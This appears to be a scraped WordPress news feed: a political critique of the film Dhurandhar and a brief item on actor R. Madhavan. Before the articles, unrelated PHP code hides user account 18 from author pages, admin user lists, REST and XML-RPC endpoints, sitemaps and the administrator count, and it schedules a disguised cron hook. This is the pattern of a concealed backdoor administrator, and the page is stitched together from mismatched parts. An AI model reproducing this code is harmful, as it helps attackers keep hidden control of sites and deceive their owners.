add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dhurandhar Review: When a Spy Thriller Slips into Deep State Propaganda appeared first on The Edge Media.
]]>A closer viewing of Dhurandhar reveals multiple glaring inaccuracies and narrative gaps. Given Dhar’s reputation for rigorous research, these lapses raise an uncomfortable question: were they oversights, or were they ignored because historical accuracy was never the film’s real objective?
On the surface, Dhurandhar claims to tell the story of an Indian spy, played by Ranveer Singh, who infiltrates Karachi’s criminal underworld to neutralise threats to national security. In reality, the film unfolds as a thinly disguised ideological narrative that champions an all-powerful intelligence establishment while systematically devaluing democratic institutions. What could have been a grounded espionage drama instead resembles propaganda that normalises the idea of a deep state running the country.
The issues surface from the opening sequence itself. The film begins with visuals of blindfolded passengers aboard the hijacked Air India IC 814 at Kandahar. This depiction is historically inaccurate. During the 1999 hijacking, most women and children were released in Dubai before the aircraft flew on to Kandahar, barring a few exceptions among the crew and passengers. When filmmakers recreate real events, fidelity to facts is not optional, it is a moral responsibility.
As the narrative progresses, Dhurandhar shifts focus from national security to the worldview of Ajay Sanyal, a powerful intelligence officer portrayed by R Madhavan. Sanyal is projected as the ultimate arbiter of patriotism, morality, and national interest. His decisions override elected governments, democratic processes, and institutional checks, positioning him above constitutional authority.
The film’s political bias is explicit. The Congress-led United Progressive Alliance governments of 2004 and 2009 are portrayed as weak, compromised, and undeserving of intelligence cooperation. National interest, as defined by the intelligence officer, is shown to supersede the mandate granted by the people. This premise directly contradicts the foundations of India’s constitutional democracy, where sovereignty rests with citizens, not unelected agencies.
When cinema glorifies an intelligence official who withholds information, manipulates outcomes, and waits for a government of his preference to assume power, it crosses the boundary between fiction and indoctrination.
Although Dhurandhar carries a disclaimer claiming all characters and events are fictional, it simultaneously uses real footage of the 26/11 Mumbai terror attacks. Selectively invoking real tragedies to lend credibility to a fictional narrative is not artistic liberty; it is narrative manipulation.
The film’s core message becomes unmistakable: an India governed by an invisible deep state, where unelected officials decide when democracy is “fit” to function. That sections of the audience have applauded this idea should be deeply unsettling.
The film’s hostility towards the Congress-led UPA is not merely political, it appears punitive. Ajay Sanyal openly expresses a desire for a future ruler who would curb fake currency circulation and crack down on abattoirs. In doing so, the film retrospectively legitimises demonetisation and beef bans imposed by BJP-ruled states, framing them as overdue acts of national purification. The controversial “Pink Revolution” narrative, often invoked during the 2014 election campaign, finds ideological reinforcement here.
The distortion intensifies in the depiction of the 26/11 attacks. The film entirely omits the role of Abu Jundal, also known as Syed Zabiuddin Ansari, who operated from a control room in Karachi and directed the terrorists in Mumbai. It also ignores the fact that the UPA government identified, tracked, and extradited Jundal from Saudi Arabia — one of India’s most significant counter-terrorism successes. Jundal remains imprisoned in India today, but acknowledging this achievement would have disrupted the film’s portrayal of an incompetent UPA government.
The narrative around fake currency sinks further into conjecture. Dhurandhar implies that an opposition minister and his son deliberately facilitated the circulation of counterfeit currency from Pakistan. Such claims verge on defamatory fiction. While the individuals were later arrested on unrelated charges, no case regarding fake currency was ever proven or even seriously pursued. If the allegations were credible, legal evidence would have followed.
Ironically, scrutiny eventually fell on the then finance secretary, against whom a CBI case was filed without any substantive conclusion so far, reportedly after his association with the Bharat Jodo Yatra. This selective framing once again underscores the film’s ideological slant.
Ultimately, Dhurandhar is not just a flawed spy film; it is a cinematic manifesto. It glorifies authoritarian impulses, delegitimises democratic authority, and advances the notion that unelected power brokers know what is best for the nation. In doing so, it dangerously blurs the line between patriotism and propaganda.
Cinema wields immense influence over public consciousness. When that power is used to normalise the idea of a “State within a State,” it is more than poor filmmaking. It is a warning sign.
The post Dhurandhar Review: When a Spy Thriller Slips into Deep State Propaganda appeared first on The Edge Media.
]]>The post R. Madhavan resumes shooting for his project in Mumbai appeared first on The Edge Media.
]]>Take a look :

In the picture, Madhavan looked dapper as he stared in the mirror.
Soon after the post, fans and followers of the actor flocked to the comments section and bombarded with praises and love. The actor also shared the same image on his Instagram Stories. He, however, did not reveal which project he was working on.
On the professional front, Madhavan will next be seen in Rocketry: The Nambi Effect. The trailer was received by the audience. The actor was last seen in Maara, which is the Tamil remake of Malayalam film Charlie. The film released on the streaming platform Amazon Prime Video. Last year, he also starred in the thriller Nishabdham, co-starring Anushka Shetty. It is streaming on OTT platform Amazon Prime Video.
The post R. Madhavan resumes shooting for his project in Mumbai appeared first on The Edge Media.
]]>